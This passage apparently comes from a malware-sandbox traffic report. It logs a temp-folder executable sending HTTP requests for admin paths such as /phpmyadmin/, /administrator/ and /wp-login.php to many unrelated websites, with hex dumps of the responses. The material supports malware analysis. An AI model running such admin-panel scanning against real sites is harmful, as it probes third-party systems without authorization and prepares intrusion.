4a 34 63 4b 6e 61 71 39 46 6e 35 4a 71 71 72 43 46 75 64 69 4d 69 46 46 31 32 66 5a 47 73 66 4a 71 73 74 73 47 45 45 6e 67 6d 6e 42 68 6e 49 64 6c 55 5a 68 39 50 74 72 32 72 32 70 4e 34 77 31 45 42 34 67 30 50 44 51 2f 4a 41 45 76 69 52 5a 78 56 64 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FJ4cKnaq9Fn5JqqrCFudiMiFF12fZGsfJqstsGEEngmnBhnIdlUZh9Ptr2r2pN4w1EB4g0PDQ/JAEviRZxVdqw==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pre
Dec 20, 2023 03:13:22.352622032 CET	567	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc2MTYxNzYtYjY1Mi00ZDc2LTg5N2ItNmM4ZDFiMmJiZTNiIiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3VybCI6Im
Dec 20, 2023 03:13:22.472500086 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=utf-8 content-length: 1105 x-request-id: 184cc65b-6a7e-4362-83da-31c53c676cbc cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FJ4cKnaq9Fn5JqqrCFudiMiFF12fZGsfJqstsGEEngmnBhnIdlUZh9Ptr2r2pN4w1EB4g0PDQ/JAEviRZxVdqw== set-cookie: parking_session=87616176-b652-4d76-897b-6c8d1b2bbe3b; expires=Wed, 20 Dec 2023 02:28:22 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 46 4a 34 63 4b 6e 61 71 39 46 6e 35 4a 71 71 72 43 46 75 64 69 4d 69 46 46 31 32 66 5a 47 73 66 4a 71 73 74 73 47 45 45 6e 67 6d 6e 42 68 6e 49 64 6c 55 5a 68 39 50 74 72 32 72 32 70 4e 34 77 31 45 42 34 67 30 50 44 51 2f 4a 41 45 76 69 52 5a 78 56 64 71 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FJ4cKnaq9Fn5JqqrCFudiMiFF12fZGsfJqstsGEEngmnBhnIdlUZh9Ptr2r2pN4w1EB4g0PDQ/JAEviRZxVdqw==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pre

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	53592	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.048212051 CET	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: choctawcasino.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.229387999 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=utf-8 content-length: 1041 x-request-id: 8cfa1772-72cc-4523-8be2-2cdff2f0d587 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_amT4HJD9YuvNVNc9STacYIpftCgJXDkwRZimSmaBaY/FCO1P+NkcqBnO0QnJYO9z787BfQV+DLdAUD5Ke73M1g== set-cookie: parking_session=8cfa1772-72cc-4523-8be2-2cdff2f0d587; expires=Wed, 20 Dec 2023 02:28:22 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 61 6d 54 34 48 4a 44 39 59 75 76 4e 56 4e 63 39 53 54 61 63 59 49 70 66 74 43 67 4a 58 44 6b 77 52 5a 69 6d 53 6d 61 42 61 59 2f 46 43 4f 31 50 2b 4e 6b 63 71 42 6e 4f 30 51 6e 4a 59 4f 39 7a 37 38 37 42 66 51 56 2b 44 4c 64 41 55 44 35 4b 65 37 33 4d 31 67 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_amT4HJD9YuvNVNc9STacYIpftCgJXDkwRZimSmaBaY/FCO1P+NkcqBnO0QnJYO9z787BfQV+DLdAUD5Ke73M1g==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link
Dec 20, 2023 03:13:22.229402065 CET	511	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGNmYTE3NzItNzJjYy00NTIzLThiZTItMmNkZmYyZjBkNTg3IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3
Dec 20, 2023 03:13:22.232158899 CET	511	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGNmYTE3NzItNzJjYy00NTIzLThiZTItMmNkZmYyZjBkNTg3IiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	53595	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.049283028 CET	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.200485945 CET	955	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mobiamericas.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_M49sQsc+vIrt1AstfP8nRmYY20ivf4PAnO++xRXfgyRBfNF/941tncupt56K6IRfAx1zyerenG4yZwDAy77q0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 20, 2023 03:13:22.407489061 CET	955	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Location: https://mobiamericas.com/phpmyadmin/ X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_M49sQsc+vIrt1AstfP8nRmYY20ivf4PAnO++xRXfgyRBfNF/941tncupt56K6IRfAx1zyerenG4yZwDAy77q0A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	53600	76.223.105.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.064996958 CET	179	OUT	GET /administrator/ HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.233467102 CET	315	IN	HTTP/1.1 301 Moved Permanently location: https://justinsweet.com/administrator/ vary: Accept-Encoding server: DPS/2.0.0+sha-5905cfa x-version: 5905cfa x-siteid: us-east-1 set-cookie: dps_site_id=us-east-1; path=/ date: Wed, 20 Dec 2023 02:13:22 GMT keep-alive: timeout=5 transfer-encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 20, 2023 03:13:22.436768055 CET	315	IN	HTTP/1.1 301 Moved Permanently location: https://justinsweet.com/administrator/ vary: Accept-Encoding server: DPS/2.0.0+sha-5905cfa x-version: 5905cfa x-siteid: us-east-1 set-cookie: dps_site_id=us-east-1; path=/ date: Wed, 20 Dec 2023 02:13:22 GMT keep-alive: timeout=5 transfer-encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	53594	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.080445051 CET	185	OUT	GET /wp-login.php HTTP/1.1 Host: centurylaboratories.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.234214067 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-122-167.ec2.internal X-Request-Id: 40ba86cb-3d07-492c-af0a-37eb83683d6d Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Dec 20, 2023 03:13:22.294390917 CET	236	OUT	GET /wp-admin/ HTTP/1.1 Host: centurylaboratories.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://centurylaboratories.com/wp-login.php
Dec 20, 2023 03:13:22.447721958 CET	365	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 125 Connection: keep-alive Server: ip-10-123-123-165.ec2.internal X-Request-Id: d631083b-e7d3-40de-aaa7-8d9451e1d8ef Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	53596	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.083184004 CET	175	OUT	GET /phpmyadmin/ HTTP/1.1 Host: orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.263885975 CET	837	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Length: 0 Connection: keep-alive location: https://www.orangutech.com/phpmyadmin strict-transport-security: max-age=3600 x-wix-request-id: 1703038402.152165619083918308 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqz32kGg/0+YmoIOWNy6M58a0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalrV91c9IXaI4k7yD7eLjqadvZ+42rZnypKPQWCyUorxk2CQYRnV6AUZwSxvRZCs5CA==,2UNV7KOq4oGjA5+PKsX47JzIq9ZmP05BQuFbD4KFyTFYgeUJqUXtid+86vZww+nL,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	53639	192.252.146.15	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.112739086 CET	182	OUT	GET /administrator/ HTTP/1.1 Host: twohillsstudio.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.401644945 CET	1286	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2 Connection: Upgrade Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 09 09 09 2e 74 68 65 5f 63 68 61 6d 70 5f 62 75 74 74 6f 6e 5f 69 6e 73 74 61 67 72 61 6d 20 73 70 61 6e 2e 74 68 65 5f 63 68 61 6d 70 5f 73 76 67 2c 61 2e 74 68 65 5f 63 68 61 Data Ascii: 1f13<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="http://gmpg.org/xfn/11"><link rel="pingback" href="http://twohillsstudio.com/xmlrpc.php"><title>Page not found – Two Hills Studio</title><script type="text/javascript">function theChampLoadEvent(e){var t=window.onload;if(typeof window.onload!="function"){window.onload=e}else{window.onload=function(){t();e()}}}</script><script type="text/javascript">var theChampDefaultLang = 'en_US', theChampCloseIconPath = 'http://twohillsstudio.com/wp-content/plugins/super-socializer/images/close.png';</script><script>var theChampSiteUrl = 'https://twohillsstudio.com', theChampVerified = 0, theChampEmailPopup = 0, heateorSsMoreSharePopupSearchText = 'Search';</script><style type="text/css">.the_champ_button_instagram span.the_champ_svg,a.the_cha
